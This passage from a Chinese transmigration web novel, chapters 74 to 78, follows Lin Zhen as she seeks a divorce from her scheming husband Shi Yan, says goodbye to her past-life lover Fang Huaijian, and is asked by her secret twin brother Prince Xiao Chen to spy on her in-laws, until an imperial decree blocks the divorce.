“安安,你穿到这里有金手指的身份,别糊涂。” 林蓁沉寂地看着方怀简,他仍然那样眉目温润,气质可亲,可似乎又有什么不一样了。 第74章 第 74 章 只为你 “储君之争, 明枪暗箭你死我亡,你可要多加小心啊,”林蓁幽沉目光笼着方怀简,良久才叮嘱了这么一句。 在方怀简眼里, 林蓁桃腮雪肤, 眼底尽是对自己未卜前途的担忧, 眼前人和前世安安模样重叠起来, 眉眼间全是对爱人挂心和支持,方怀简眼眸有些湿润。 “你放心, 我会极其注意,为我自己也为你的哥哥,为我们。” 方怀简凝神看着林蓁,“我们”咬得很重,意味深长。 林蓁柔柔笑了笑, 她尽力回忆剧情, 把萧忱夺位过程中和其他皇子相争的几个重大事件向方怀简一一提点。其实几日前林蓁回想小说内容时,这些事情已都和方怀简提过, 但那时是想到什么说什么,此刻却是担忧方怀简跟随萧忱后, 会遇到生死攸关的风险,尽力回想各种细节。 林蓁说完, 浅笑盈盈:“我祝你马到功成。时彦知晓剧情改变他原主蜉蝣一生, 现在你辅佐我的哥哥, 相信会有更精彩完美结局。” 方怀简忍不住拉上林蓁手腕,林蓁想挣脱却是徒劳,他盯着她的眼睛一眨不眨。 “安安,你知道的, 我人生的完美完满必须有你。” “我为何跟随萧忱,除了知道他的结局,更因为我想和你在一起。” “方府里我只是一个文弱书生年纪最小的妈宝男,任何人借着各种由头都可以拿捏我,翰林院里我写些酸腐文章制式文书,按资排辈不知哪年才能出头,我想找回你,我只能这样做。” “你等等我。” 这些话语真情实意,可林蓁心绪不复往日,她心中有些感伤,但也仅此而已。 看着方怀简绯红官服胸前云雁,林蓁淡声道:“你看我们不过说说话,却刻意躲在这个角落,担心让人知晓。 往事不可追,来日犹可期,你追随萧忱做好本分,我考上女官纠察殿堂,来日海清河晏,天下太平都有你我功劳。” 林蓁抬眸,对上方怀简目光掷地有声:“来日我们为朝堂为百姓为天下,光明正大,不需要刻意回避,也不用遮掩什么,待你我有一番政绩,就像梅大人,沂水春风,也是我们从未想过的人生风景。” 林蓁神色轻松,目光里似是对美好未来憧憬,方怀简不禁想到,曾经他和安安花前月下,也有过对未来瑰丽人生设想,可那些璀璨未来都是两人不分彼此共同梦想,现下却只是无奈人生唯一选择。 他想再向林蓁说些什么,却也觉得毫无意义,他的确选了个僻静之处就为掩人耳目,他与她,一个有妇之夫一个有夫之妇,都无比期待在官场朝堂一番作为,改变当下困难无解的窘状。 方怀简轻轻放开林蓁的手,垂眸道:“安安,自我大醉梦醒,我常有石中火梦中身之感,白驹过隙眨眼即逝,但唯有对你的情意难磨难消。” “过去我对你的许多承诺都未兑现,再说些什么显得可笑,”方怀简有些自嘲,“且让时间证明,我对你初衷不变,我会处理好一切。” “只为你。” 这些肺腑之言怎会不戳动人心,可两人间现状林蓁无法回头只能向前看,她叹口气,脸上挂上浅笑:“柳暗花明又一村,我们前路都会很好。” “以后若有需要,我会差人给你长随送信。” 言下之意若无必须,两人没有再联系必要。 方怀简亦淡笑颔首:“你和离之事我亦会想办法。” “不用,我自己会解决好,”林蓁不想方怀简再掺和进自己私事,引起毅勇侯府方府不必要的波澜,“无论和离还是认亲,我自有主张,你别掺和进来。” “你,”林蓁抿唇一笑,“过好自己的人生。” 林蓁傍晚回静苑时,时彦已经回来了。林蓁也不明白,过去他常常很晚回府,现在突然间户部好像没那么多事,他总能按时甚至提早回。两人默默无言吃过饭,林蓁回书房,时彦照例跟了过来,林蓁正有话想与他说,便默认他的跟随。 两人前后脚迈进书房,林蓁让时彦关上门,她在书几前太师椅上坐下,看着时彦向自己走来,她指指八仙桌:“你坐那儿。”” 我有话和你说,“林蓁神色严肃,语气平静,“你撕了通婚书,但没关系,没有它我也能和离。” “当初通婚书上写和离自由,你应该知道英国公府顾虑什么,我会和英国公府长辈们说,和离因你不能人道。” 时彦挑眉,无声冷笑:“我哪里不行,我很行。” “大家只会觉得你为了方怀简,要和我散伙。” 林蓁气道:“我为什么,你最清楚!我和他,什么都没有!” 时彦起身走向林蓁,林蓁紧张道:“你别过来!” 可他两步就走到林蓁面前,单膝跪下身,视线上仰看向林蓁。 于林蓁视角,他仿佛求婚般像落汤小狗摇尾乞怜,模样实在可怜得让人心疼,只是这些套路她实在过于熟悉。 “蓁蓁,我们不说方怀简,我们之间那么多承诺和誓言,转瞬即逝吗?” “那都基于你的欺骗。” “可我每一句承诺每一句誓言都是实心实意。我现在在你面前,就是一个赤。条条的人。” 林蓁无奈看向他:“可我一想到你当初各种手段,我无法再信任你。” “你知道罢,我们不是一类人。你的渴盼你的企求,都不是我想要的。” 时彦默了片刻,他拉上林蓁的手,双手紧紧包裹着它,仿佛如此就牢牢抓住了林蓁。 “蓁蓁,我们认识的时间很短,但和你相处每一天,我都会更爱你一些。这些话听起来很幼稚很可笑,但我就是这样想,你是我最爱的人。” “以前我以为我不会爱人,直到遇到你,我才知道,爱是什么滋味。” “每天醒来第一眼看到你,我很雀跃,觉得这是美好的一天。在户部忙得很累时,我想一想你,就感觉又有了劲。回府时,看见你在门口等我,或者搂着我亲我,我就觉得人生都有了色彩。” “我不想回到从前,或许很多想法我和你的不一样,但我清楚,我第一需求,是和你在一起,像从前一样在一起。” 林蓁眼眸泛起水雾,或许时彦说的是真话,因为那些感受她与他同频,可想起他缜密谋划他丝滑谎言,那些心如刀割切齿拊心的感受同样真实。 林蓁眨了眨眼,水雾尽散:“做过的事,覆水难收。我不想牵扯太久,你好好想一想,何时与我和离,不然我会找萧忱,他的手段你都知晓。” 第75章 第 75 章 她需要谁护? 眼前人玉面雪肌, 还是那般芙蓉面,可眼眸低垂毫无神采,成婚时的欢喜眼里的小星星嘴角边酒窝,时彦历历在目, 却只能在脑海里飘荡, 似乎再不会出现在眼前人的脸上。 已经毫无保留述说了所有, 剖析了真情实感, 就差拿把刀剖开胸膛让林蓁眼见为实,两辈子都未曾在任何人面前如此伏低做小, 可林蓁似根万年冰柱,冒着寒气无动于衷。 这根冰柱寒气逼人,时彦脸色亦被冻住,跪久的肢体亦似冻僵,仿佛轻轻触碰就会变成冰渣碎了一地。 林蓁道:“萧忱知道, 就不仅仅是和离。” 会报复会打压, 甚至会索了性命,绝对不会放过蓄意欺瞒诱骗妹妹的人, 不论他是谁。 时彦的脸似坚冰,然而厚重冰层下, 暗火烧灼焚烫着心脏,他的人他怎会放手?非但不愿放手, 还要当初那个满心满眼都是自己的人重新回来。 放手给方怀简?真心付诸流水, 努力全给他做嫁衣?做梦。 可眼下林蓁步步紧逼, 时彦无法揣透她的心思,她这么着急,会去找萧忱认亲,会和方怀简重修旧好? 时彦拉攥着林蓁的手, 问道:“和离后,你会做什么?需知这个世界里,女性独自生存几乎不可能,没有这样的空间。” “若你没有与他的意思,我们就这样不好么,你做什么都没人干涉你,相反会有人支持你。” 他的话总能直击心灵,让人或拨云见日,或烫贴酸软。 林蓁想过和离后做什么,像梅棠那样踽踽独行,心有山海,无心可猜。可也得承认,在拥有过无数温暖夜晚以后,孤零零裹上一床被衾的感受极其煎熬,可继续接受他吗? 就像此刻,脑海里会想着,他如此痴缠,其实仍然想借萧忱的东风扶摇直上? 林蓁不想整日间反复纠缠于此事,她平静道:“和离后做什么与你无关,给你半月时间,半月后不管你用什么方法,拿到父母同意的手印,我们一同去官府递和离书。” “半月后若不成,我会去找萧忱。” 时彦看了林蓁半晌,坚冰似的面容终于融化,可露出来的真容仍旧冷冽,似乎还带着不甘,他语气暗淡艰涩:“半月时间,我恐难以说服父母,到十一月吧,我慢慢和他们说,不让他们为难英国公府为难你。” 到底还是惧怕萧忱,林蓁暗暗松了口气,她真怕时彦不惧萧忱不松口,那她没有通婚书可没辙逼迫他和离,毕竟找萧忱认亲只是嘴巴上说说,她根本没这个打算。 十一月也不是不可以,可不想时彦说什么是什么,过去他总能如此拿捏各种人,林蓁道:“最晚不能过十月底,到十一月我就去找我哥哥。” 庭院中光线昏暗,林蓁透过窗棂看着时彦的背影融入黑暗,他黯然离开,高大身形落寞清冷,林蓁长长舒了口气,手在颈窝处摩挲良久,取下了那块翡翠十字架。 翡翠发着幽光,离开肌肤它很快变得冰冷,林蓁手指抚摸着它,似乎亦感染上那股冷意,浑身渐渐冰凉。 没了它的负累,脖颈轻松了许多,内心也轻快了不少,一个月后此事告一段落,她不再陷入情爱,可以心无旁骛备考。 时彦背影消失,林蓁望着黑暗的虚空愣神,正要收回目光,云娘出现在视线中。 时彦已经答应,和云娘提前说也没什么,林蓁径直走到门口,为云娘开门。 今日早上林蓁用早膳时,云娘听到她和时彦对话,已经猜到一些,白日里看碧竹心不在焉模样,云娘问了她几句,已经知道了大概,她想不明白,林蓁为何要和离。 “到底为什么?他做了什么让你如此?” 云娘开门见山,曾经她以为时彦不能人道,可她住在云栖院里,知道小夫妻挺和谐。在她以为林蓁找到良配,她可以安心离开时,竟然有如此变故。 林蓁默了默,看着云娘不解焦灼的目光:“他很早知道了平安玉的事,娶我只为我是公主”。 “啊?!”云娘嘴张得合不拢,满脸不可思议。 “他如何得知?还有人知道吗?” 云娘不相信,怎么可能呢,这件事知道的人极其有限,他一个外人不可能知道。 林蓁想糊弄过去:“很早以前他曾经见过我佩戴平安玉,机缘巧合他也知道惠王萧忱有块相似的玉,总之他娶我只为他飞黄腾达。” “云娘,你别担心,这事儿只他一人知道,他答应守口如瓶,他也答应与我和离。” 云娘犹难接受:“是人都有贪念,他和侯爷夫人待你那般好,若他能悔改,蓁蓁,你们不必如此呀。” “是你不愿?可你如何向英国公府交代?当初那么短时间成亲,又火速和离,你知道会有多少和你有关的流言蜚语么。” “你缓一缓也行呀。” “我知道,但我不想和骗子继续。” 云娘垂首落泪:“都怨我,我不听你母亲的话,让这块玉生出这般事。” 她抓住林蓁胳膊,神情忧虑:“时彦知道了,说不定还有其他人知道,蓁蓁,你要去认亲么,若你想,就去做公主罢。不要等到最后所有人都知道,你反而被动。” 林蓁抚上云娘的手:“我不想,母亲不也不愿意么,上次和云娘已经说过,这个玉的事儿烂在肚子里,云娘,你可别改变主意。” 云娘抚上林蓁的脸,像母亲心疼孩子:“可你要和离,没有了丈夫,英国公府的人亦看人下菜,以后谁来护你!” “若你要和离,就去做回公主,你的哥哥惠王护你后半生。”云娘流着眼泪,给林蓁出主意,她的小姐虽然不希望林蓁做回公主,但在此情况下,一定是希望她后半辈子安稳平顺。 “我会考上女官,大周律法护我,云娘,你忘了我和你讲过的梅棠梅大人么。” “她的名声,贪官奸佞闻风丧胆,她需要谁护?怕是许多人希望得到她的庇护呢。” 云娘只是留着泪摇头,她的小姐临终期望林蓁嫁个好人家,从未想过她去做女官,伶仃一辈子。 “时彦固然有错,但只要真心悔改,给他一次机会吧,也是给你自己一次机会,”云娘哭着劝解,“你这样,你母亲泉下有知亦不安宁。” “怎么会呢,母亲定然希望我幸福安康,”林蓁看向云娘目光坚决,“以后我若能像梅大人一样,我不知道会多么满足幸福,那时不仅云娘你和母亲希望我安康,还有许许多多受我惠宜之人为我祈祷,祝我健康长寿。” 虽然林蓁准备女官考试已有一段时间,但云娘并不真正了解她的内心和想法,在她看来,这只是林蓁步入毅勇侯府后的锦上添花,可这一刻,看到林蓁目光闪闪,神情坚定,云娘似乎明白了,林蓁不想依靠任何人,没有夫君没有兄长,她也可以走出闪亮花路做一番事业。 云娘哽咽着擦着眼泪,她希望林蓁过得好,林蓁的愿望都能实现,只是这条女官之路到底如何,她一个内宅妇人实在没得主意,但她一定会帮助林蓁,达成所愿。 第76章 第 76 章 他不是温柔哥哥 知道林蓁心思, 也知道林蓁时彦一个月后就会和离,可每日看到时彦状如往日认真上值,回到静苑对下人和气,对林蓁小心讨好, 一点儿没有要和离的郁闷或感伤或者不快, 云娘心里颇不是滋味。 她始终认为时彦为林蓁良配, 即便知道他当初别有居心, 可若能像现在这般对待林蓁,云娘感觉, 总好过林蓁独自一人过活。 逮着机会,云娘就在林蓁耳边唠叨。 不管找什么理由和借口,成婚没几个月就和离,英国公府的人怕是都不会同意,就是时彦有病也得治疗一段时间看看效果, 若是其他理由英国公的长辈都会劝和。 便是为今后女官的前途着想, 也不宜现在和离,闪婚闪离, 他人如何看待?都会怀疑林蓁看人度势的眼光。 即便真走到最后一步,也得找个合适理由, 不能因和离让英国公府和毅勇侯府交恶,毕竟都在皇城官场, 各自体面都需要顾及, 时彦不能人道或者因为方怀简涉入, 这些都万万不可提及。 林蓁从不拒绝云娘劝慰,她频频点头但就不表态,云娘知道她左耳朵进右耳朵出,可忍不住还是要说。 人前似乎无事发生, 可人后脸上愁云惨淡,不过几日,云娘眼窝深陷,圆润下巴日益尖锐。 林蓁自有打算,若她直接回英国公府闹着要长辈撑腰和离,怕是不成,时彦太会讨好人,他那面相温润讨喜,说不定还引来一番同情,她得拿到有毅勇侯夫妇手印的放妻书,直接回英国公府要手印,方才有胜算。在此之前,她根本不会回英国公府主动提和离之事。 她每日如常去御史台,见时彦和她一样不急不缓,也催问过他,时彦总是神色黯然:“一月后自会给你答复。” 林蓁便没再催,毕竟夫妻一场不是生死仇人,他既然答应,没必要时时逼问。 这日她在御史台如常整理卷宗,门外突有脚步声,一小吏在门外通报:“梅大人,惠王有请。” 梅棠抬眸,看了一眼林蓁,问小吏:“除了我,惠王还提到谁了吗?” “未曾。” “知道了,我稍后过去。” 梅棠放下手中案卷,起身整了整衣冠,看到林蓁继续在看卷宗,梅棠道:“你和我一起去罢。” 林蓁有些意外:“合适吗?惠王并未传我。” 梅棠点头。 在惠王萧忱未给她介绍林蓁前,她与萧忱几无往来,在御史台一年里也未必会碰上一面,即便碰面不过颔首而已。 萧忱在御史台并无职务,只与御史大夫王大人来往密切,且他行踪隐秘,按理他不可能因御史台政务与梅棠交流,梅棠心若明镜,只吩咐:“他不常来,既然拜托我指导你,趁此机会向他禀告一番。” 林蓁起身,不动声色收拾桌上物什,将早就准备好的一长形紫檀木盒塞进袖里。 她想再见萧忱。 自从知道他是自己同胞哥哥以后,过往惧怕萧忱的心态完全改变。她和萧忱是双生子,萧忱寻找她多年,想想这其中辛苦和无数次失落,林蓁就心疼萧忱。 他虽衣食无忧,可从小无人真心疼爱,在各个皇子针对和皇后喜怒无常夹缝中长大,直到皇后因无子打算扶植他为储君,他的境况才明显好转。典型美强惨。 小说描述他是宠妹狂魔,对妹妹有求必应,在妹妹各种闯祸各种骚操作中不断收拾烂摊子,仍一如既往疼爱她非常。林蓁理解这种心理,茕茕孑立多年后发现有一人与自己流着相同血脉,这种补偿以及陪伴心理,林蓁亦有。 许多夜晚,她会不断回想和萧忱不多的几次见面,御史台里,红枫寺中,幽暗湖边,回想他为母亲和自己做法事,回想他的淡漠和无情,想到他经历无数残酷冷血才变得这般冰冷,林蓁就心疼不已,希望能为亲哥哥做些什么,虽然她并不打算认亲。 和方怀简详细嘱咐夺嫡之争中各种事件,也是希望对萧忱荣登大宝有所助力。 两人来到司务厅偏殿,这是林蓁曾被抓捕之地,再次重来,林蓁还是忍不住紧张。 侍卫开门,林蓁垂目跟随梅棠迈进内室。在梅棠行礼后,林蓁亦走上前,垂目拱手:“惠王殿下。” 萧忱赐了座。 眼角余光中,林蓁看到,萧忱今日身着紫金团花纹蟒袍,腰系同色金丝锦带,凛然矜贵,不知是不是错觉,没了玄色蟒袍加持,他往日冷肃冰棱般威压感似乎也消失了,也可能相同骨血拉近了距离,林蓁竟有一丝丝亲近之感。 林蓁无心梅棠与萧忱对话,她曾问过引她与萧忱见面的小吏,知道萧忱月余才来一次御史台,她抓紧机会暗自打量萧忱,见他仍然绷着一张冷脸,不禁想到时姝。 萧忱时姝才是真正主角,书里大段情节都是他俩谈恋爱,那是蜜里调油,看得人会姨母笑。 林蓁脑海里浮现时姝俏丽活泼模样,和萧忱一动一静一冷一热极为般配,萧忱若娶时姝,他定不会再这般冰冷模样,林蓁畅想了须臾,又想如何助力他俩如小说里描写那般,早日步入正轨。 一时间又想袖中所藏紫檀木盒有没有机会送给萧忱。 那是林蓁从自己陪嫁中精心给萧忱挑选的礼物,是父亲林若柏极为珍爱的玳瑁管紫毫和白玉砚台。 萧忱让梅棠为自己入门师傅,即便他不是亲哥哥,这份情谊她也会感谢,知道他是亲哥哥,林蓁更想送份实用礼物,就像自己能够陪他身边为他做些什么。 只是林蓁不想梅棠知晓,她和梅棠提过,因自己助力萧忱抓捕白莲教护法受伤,萧忱允诺她一事作为补偿。既然是补偿,她根本无需送萧忱任何礼物,何况她还是一位有夫之妇。 “林蓁,你亲自向殿下禀报你近期所得。”梅棠看向林蓁。 林蓁闷头想着心思,根本没注意。 “林蓁!”梅棠连唤两声,林蓁才如梦方醒,见梅棠已起身,赶忙也站起身准备跟随。 “林蓁,你且稍等。”萧忱淡声。 林蓁脚步立即粘在地上,她本就想与萧忱独处,心中升起一丝玄妙感受,是兄妹血浓于水,心有灵犀? 待梅棠离开,萧忱示意林蓁落座。他注意到林蓁偷瞄,这与她以前哆哆嗦嗦印象很不一样,或许跟随梅棠廿日,她有了长进? 萧忱语气古井无波:“明晖有没有再找过你?” “明晖?”林蓁抬眸,她好久没有想起过明晖,萧忱如此问,应该没有抓住她。 林蓁摇了摇头:“自中秋那日,她再未出现过。” “殿下有她消息么,抓住她会怎样待她?” 萧忱的手轻轻划过自己的脖颈,意味深长看了林蓁一眼,似乎她是藏匿明晖或者隐匿消息的帮凶。 林蓁脖颈 一阵冷意,他果然还是杀伐果断的未来帝王,不是她想象的温柔哥哥。 第77章 第 77 章 你果真感激我? “你被明晖掳走那晚, 他都和你说过什么?” 林蓁眨了眨眼,不解地看着萧忱。明晖说过什么做过什么,在中秋那日晨间她在农家等到公爹毅勇侯和时彦萧忱时,能说的已经全都说过, 时隔这么久, 再问是什么意思?怀疑自己? “他说过的话, 我当时已向毅勇侯, 向殿下说过,现在我再说一遍么?” 萧忱目光在林蓁身上上下打量, 看得她有些心虚,她确实隐瞒了一些,明晖女扮男装萧忱查出来了?又觉得不可能,就算查出来也无法证明自己说谎或者保留了什么。 不过萧忱如鹰隼的目光让人心慌,林蓁只对视了片刻, 便低首垂眸。 “在明晖没了音讯以后, 有日晚间,有人看到他在毅勇侯府附近出没, 他当真没找过你?” “啊?!”林蓁讶异抬眸。 萧忱语气淡然,神态平和, 林蓁实在看不出他的心思,不知他的话孰真孰假, 是不是诓她。 “他被人看见?晚间时候, 会不会看走眼不是他?” “他确实未再找过我, 或许他只是恰巧路过?又或许他想找我,可毅勇侯府守卫森严,他未能寻得机会?” “可他为何要找我呢,殿下为何觉得他要找我?我和他全无瓜葛, 只帮他为殿下送过一封信。” 过往林蓁单纯毫无城府,现下她若有所思忙于解释的模样让萧忱相信,明晖确实未再找过她。 但他的属下与对方交过手,绝不会看错,明晖确实在金吾卫满城抓捕他时,还潜回皇城在毅勇侯府附近出现过。 他不相信是什么巧合,必是明晖为什么事才不顾性命,冒险为之。 他也很想知道,明晖为何黏着林蓁不放手。可想想自己,与林蓁非亲非故,可联系不算少,还为她亲笔写信用自己的人情托付梅棠,在外人看来是不是也和林蓁有什么关联? 萧忱收回目光,端起茶盏抿了口茶,他继续道:“他在毅勇侯府附近出现过后,又有人看到他往南边去了,只可惜我们的人总晚他一步,不知他现在在南方何地。” 林蓁忙道:“他一身功夫神出鬼没,我实在不知他的行踪。” 心里却想着,明晖还会继续她的目标么,为解救那些和她身世相同的姐妹?她会为萧忱做事,以换得他一个承诺么。 想到萧忱杀人心思,林蓁不与他认亲的念头更为坚决,只要明晖咬死平安玉是她所有,萧忱就算抓住她应该不至于要她性命。 “若以后他再找你,稳住他后及时通报我。” 林蓁应道“是”。 “可以去惠王府找我,”萧忱顿了顿,想了想道,“也可以去方府找方怀简,你熟悉他,对吧?他知道我行踪。” 从萧忱口中听到“方怀简”,林蓁的心“咯噔”一下,该为他高兴?这么短时间就取得萧忱信任,以后前途不可限量。 可不知为何,林蓁高兴不起来,仿佛方怀简跟着萧忱做事就是隐士回归红尘,仙人落入凡间,心中总有说不清道不明惋惜和无奈。 “我和方翰林并不熟悉,”林蓁为自己解释道,上一世情缘不可为外人道,这一世两人过去已有许多流言蜚语,还是不要人前再扯上什么关联。 “噢,不熟悉?”萧忱微微挑眉,似笑非笑看向林蓁。 自己曾为方怀简在萧忱面前哭鼻子,林蓁微微羞赧:“方翰林博学多才,谦谦君子温润如玉,京城贵女爱慕者甚众,曾经我亦不能免俗,可他已娶我已嫁,我与方翰林并无什么,我确实不熟悉他。” 萧忱抿了抿唇,并不把话说破。脑海里浮现问方怀简为何追随自己时,他一通不着痕迹溢美之词后,冷不丁道:“亦想能爱心中所爱。” 那时萧忱讶异他的直白,在进一步追问后,心中颇为看好他,他萧忱的人就得是目标明确,矢志不渝,在所不惜。 “他现在为我做事,你若有明晖消息,可以找他。” 明晖应该不会再来找自己,林蓁这样想着,口中应道是。她猜测萧忱单独与自己说话就为明晖行踪,这会儿萧忱没再言语,下一刻应该会让自己离开,林蓁踟蹰须臾,从袖中拿出紫檀木盒。 萧忱目光落在紫檀木盒上。 林蓁恭谦道:“能跟随梅大人学习,俱因殿下推荐,这是感激殿下的一点心意,望殿下笑纳。” 萧忱看着紫檀木盒,唇角微微翘起:“想不到你颇有心意。” “你果真感激我?” 他狭长丹凤眼眸色漆黑,神色意味不明,林蓁不明白他的意思。 是因他才受伤所以感激惺惺作态?还是怀疑自己另有目的有了攀附之心?或者这只是小事一桩对他来说不值一提? 林蓁双手捧着狭长木盒,突觉得十分烫手,她本意只是对哥哥一点儿亲近。 “若真心感恩,倒也不必如此,”萧忱缓缓道,“我倒有事想托付于你,若能助我,与我抵得上百倍价值于这份礼。” 林蓁眼眸显露出疑惑,她仍诚心道:“我并无官职,不知能为殿下做什么?” “毅勇侯和盐铁使的动向,你可愿随时禀报于我?” 林蓁微微睁大了眼睛,意识到自己嘴唇亦无意识张开时,林蓁顺势吸了口气,极力掩饰自己惊讶和不安。 夺嫡之争中,可以提点之处她已尽数告之方怀简,可公爹毅勇侯和时彦都是小说中坟头草老高的人,此世他们俩拥护天子没有站队,存在极大变数,萧忱让自己背刺枕边人? 林蓁呆愣愣坐着,脸色茫然,萧忱摸了摸手中扳指,语气突的轻松:“我对你的帮助确实抵不上这份回报。” “但他们若对我有加害之心,林蓁,你可否通报于你的恩人呢?” 林蓁默然,萧忱必会荣登大宝,这期间他若遭遇不测,她当然不会对自己亲哥哥袖手旁观。 可现在他主动出击,让自己透过身边人窥视天子动向,林蓁只觉地砖冰冷寒凉从脚底传导到腿,再到上身,令她冷得浑身战栗。 不知这一切萧忱早有预谋,还是他临时兴起,林蓁忽的意识到,梅棠的独善其身,于她一个有夫之妇极难做到,幸好她即将和离,不用在夫和兄间艰难抉择。 “你尽可好好考虑,若有心感激我,于我这是最需要,”萧忱向林蓁挑眉,淡声道,“若无亦无妨,我做事从不求感激。” 当下无话,林蓁默了片刻,站起身来告退。见她要收回紫檀木盒,萧忱忽然道:“不送我了么?” 脑子里乱糟糟的,意识到萧忱说什么,林蓁猛然抬眸,她向萧忱摇摇头:“只怕不合殿下心意。” 萧忱微微抿起唇角,好整以暇看着林蓁,她向前走了几步,躬身呈上紫檀木盒。 “客气。”萧忱拿起紫檀木盒放在一边的茶几上。 林蓁默然退出。 萧忱漫不经心,随手打开紫檀木盒,玳瑁管紫毫闪着莹光,白玉砚台润泽绵白,他的心似被莹光闪了一瞬,莫名牵扯微微酸刺,这小小一盒至少价值千两。 目光望向窗外,阳光下林蓁步态婀娜,绿底菱花纹锦袍闪着光亮,像夏日鲜翠欲滴无限生机的层层叠翠,光芒四射美得晃眼。 一瞬间他极为共情方怀简,这样知情识趣投木报琼勤奋不倦的女子被人横刀夺爱,怎能不为她癫狂。 第78章 第 78 章 不是傀 儡,胜似傀儡…… 一眨眼就近十月下旬, 快到林蓁和时彦约定和离日子,时彦稳如泰山模样让林蓁隐隐有些担忧,他是不是又在谋划什么,林蓁想不出时彦可以对抗萧忱的法子, 她时不时拿出这个杀手锏威胁, 如果时彦违诺她定会去找萧忱。 十月末的傍晚, 天已经黑得很快。这日林蓁出了御史台, 天色已然昏黑,几颗明亮星子挂在天边, 她正要上自家静苑马车,街边暗黑处突然走出一高大魁梧男子,沉声唤道:“林蓁,且慢!” 他声音低沉有力,林蓁看过去, 身形不觉有些僵硬, 竟然是毅勇侯时世诚。 她看着时世诚走过来,垂首唤了声:“父亲。”为什么来, 答案显而易见,林蓁垂首等着时世诚开口。 时世诚走到离林蓁距离一个人身时止步, 眼神示意马夫退开,马车附近只剩下两人。时世诚默默看着林蓁, 他从未如此近距离打量儿媳, 可为了时彦他豁出去了, 儿媳有些消瘦,想来最近也不好受,时世诚久不言语,准备好的话不知如何开口。 过往和时世诚没什么交流, 除了晚间用膳偶尔说上几句话,但林蓁知道,毅勇侯夫妇对待自己真诚和气,特别那晚被明晖挟持时,没有时世诚及时赶到,或许林蓁已变为一抔黄土,只是事到如今,和毅勇侯夫妇缘分只能如此。 林蓁垂首良久,打破了沉寂:“对不起,父亲。我实在无法和他继续下去,求您和母亲怜惜,放我走吧。当初聘礼我原数奉还。” 时世诚闷声叹了口气。 时彦和他说林蓁闹和离时,他还不信,明明看着两人过得挺好,林蓁搬到静苑也只为备考,直到谢氏愁眉苦脸从静苑回来,他才不得不相信小两口真出了问题。只是到底什么问题,夫妇两人都未从时彦嘴里问出原因,时彦只求父母想办法挽回。 时世诚心里有怀疑,当初成亲时就担心时彦身体有毛病,不赞同谢氏为儿娶妻,白白耗费一个年轻姑娘青春和生命。 只是小两口成亲后明明甜蜜过一段时间,时世诚就有些看不明白。 “到底为什么呢?” “今日我特地在此地等你,就是希望身边没有任何人干扰,你能实话实说,我和你母亲会为你做主,若他十恶不赦我们绝不会饶他。” 林蓁很是犹豫。 说骗婚?那势必引出公主出身。说不能人道?云栖院的人应该都不会信,或许毅勇侯夫妇知道他们儿子没毛病。 她脸上神色变幻,始终开不了口。 时世诚等了片刻,心下一横问出心中怀疑:“是不能人道么?” 公爹问出这样的话,林蓁的脸倏地绯红,幸好此刻天色暗黑,应该看不明显。 她摇了摇头,轻声道:“不是,别的原因,父亲还是不要问了。” “求父亲和母亲原谅,放我归家。” 见林蓁脸色红绯,时世诚相信了她的话,心里石头终于落了地。 在他看来,若是时彦身体毛病,他实在无法劝和,拖累林蓁一辈子,至于其他原因,应该不是时彦沾花惹草,那还能什么事儿堵在小两口心里?方怀简横插一脚? 以时世诚人生经验,只要不是身体毛病,其他都不算事儿,年轻人气性大眼里容不下沙子容易闹矛盾,当初他和谢氏刚刚成亲时,谢氏也对他诸多看不顺眼,也提过和离,被他伏低做小哄了回来。 “英国公府知道吗?”时世诚问。 “想父亲母亲同意,拿着放妻书回去与长辈们说。” 时世诚心中更为通透,林蓁闹和离可都不敢与英国公府吱声,想来她亦觉得娘家人不会支持,必是和离理由站不住脚。 时世诚道:“好孩子,我们总归希望你们小夫妻和和美美,实在过不下去,我也不支持强绑强撑,可你们不能冲动行事,婚姻大事三思而后行。” 林蓁只道:“确实过不下去,求父亲母亲成全。” 时世诚:“我回去与你母亲商量商量。” 等林蓁回了静苑,第一时间找到时彦,将今日之事晓以利害:“父亲专门来找我。不管他们怎么想怎么说,十日后我必须看到放妻书。” 见时彦面色肃静,林蓁咬紧牙关强调:“记住了,我已打听过,萧忱这段时间都在皇城,我随时可以去找他。” 时彦面无表情颔首:“我会和父亲禀明。” “那最好,可别整些花花心思,后果你可承受不住!” 林蓁的日思夜盼中,放妻书未到,等到了天子的一道口谕。 那日廿五,正好休沐日。传旨公公到静苑宣建安帝口谕时,林蓁以为是天子对时彦的传诏。 静苑正厅里跪了一屋子人,大家埋首安安静静听着,就听见传旨公公道,新婚夫妇偶有龃龉,实人之常情,建安帝希望毅勇侯府安宁顺遂,毅勇侯为皇城安危操劳不怠,为解其后顾之忧,两年内府内勿有和离之举。 林蓁错愕中起身,就见时彦谦卑送传旨公公出门,他跨出门槛那刻,阳光洒在他的脸上和身上,长身玉立,俊美面容似镀上一层柔光,整个人舒展得似夏日最盛时荷花,高傲坚持,仿佛他是天道宠儿。 林蓁气闷得要呕出血。 正厅内仆人散去,云娘走到林蓁身边,林蓁缓过神,她声音发颤,抖着唇对云娘道:“云娘,你看见了?这都是他的心机。他就是这样,一言一行都会算计!” 云娘不知说什么好,自从搬到静苑,小夫妻俩时彦锲而不舍热脸贴冷屁股,可林蓁从来面色冷淡,就在云娘以为这桩姻缘就要到头,柳暗花明又一村,她不知该心疼林蓁的失望,还是庆幸时彦聪慧。 “也没有说不能和离,只是等二年。可以静下心好好想一想,若实在不适合,两年后分开也比现在和离动静小,阻力少。” 林蓁攥着云娘胳膊说不出话,脑海里尽是一月来她每次催促时彦准备和离书时,他安如磐石不动声色模样,他早就做好了盘算,自己还体谅他的难处不愿频繁催促,回想起来,自己就是时彦眼中小丑,随便他戏弄。 过往种种浮上心头,心中愤恨似烈焰燃烧,又似困兽挣脱牢笼,迫切需要一个出口。 时彦送走传旨公公回来,刚迈进正厅,林蓁就扑了过去,一巴掌甩在时彦脸上。 “啪”,清脆声音震得云娘心里一跳,她大吃一惊忙跑上前拉住林蓁还要打人的手。 “有话好好说,蓁蓁,有话好好说。”云娘吓坏了,既讶异林蓁异于平常的失控,也害怕时彦生气伤害林蓁。 林蓁左手还要扑打,也被云娘拼命拦住。 时彦鼓励道:“云娘,别拦,让她打让她出气,过去都是我不对,蓁蓁打我没打错。” 云娘愕然,拉着林蓁的手松了力道。 林蓁却没继续,她呆愣地站着,反手拉住云娘的手,身体发着抖。 此时此刻她真正见识了时彦心机,她每一步想法,每一个动作,他都预判得完美,她不是他的傀儡,却胜似他的傀儡,每一步都在他的计划中。 林蓁倏地流下眼泪,她看向时彦,激动道:“为什么要这样?我不喜欢你,我讨厌你,我恨你!” “为什么要绑着恨你的人?!” 